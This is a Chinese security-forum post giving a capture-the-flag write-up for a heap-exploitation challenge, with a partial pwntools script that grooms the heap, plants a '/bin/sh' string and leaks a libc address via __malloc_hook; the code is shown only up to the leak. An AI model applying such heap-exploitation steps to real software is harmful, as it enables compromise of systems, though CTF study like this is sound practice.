首页
社区
课程
招聘
1
[原创]绝地逃生 WP
发表于: 2019-6-26 12:25 5473

[原创]绝地逃生 WP

xym 活跃值
4
2019-6-26 12:25
5473

一血题。

没啥好说的,放WP,注意这个不能保证每次都能成功。

try:

add(0, 0xF8, 'A' * 1)

add(1, 0x68, 'B' * 1)

add(2, 0x68, 'C' * 1)

add(3, 0x68, '/bin/sh\x00' * 1)

for i in range(252):

add(i + 4, 0x10, 'A' * 1)

free(2, 254, 255)

except:

return

show(0)

leak_addr = p.recvuntil('\n1. ',drop = True)

leak_addr = u64(leak_addr.ljust(8, '\x00'))

print 'leak_addr ',hex(leak_addr)

libc.address = leak_addr - 96 - 0x10 - libc.symbols['__malloc_hook']


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-6-26 12:26 被xym编辑 ,原因:
收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-25 00:40
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册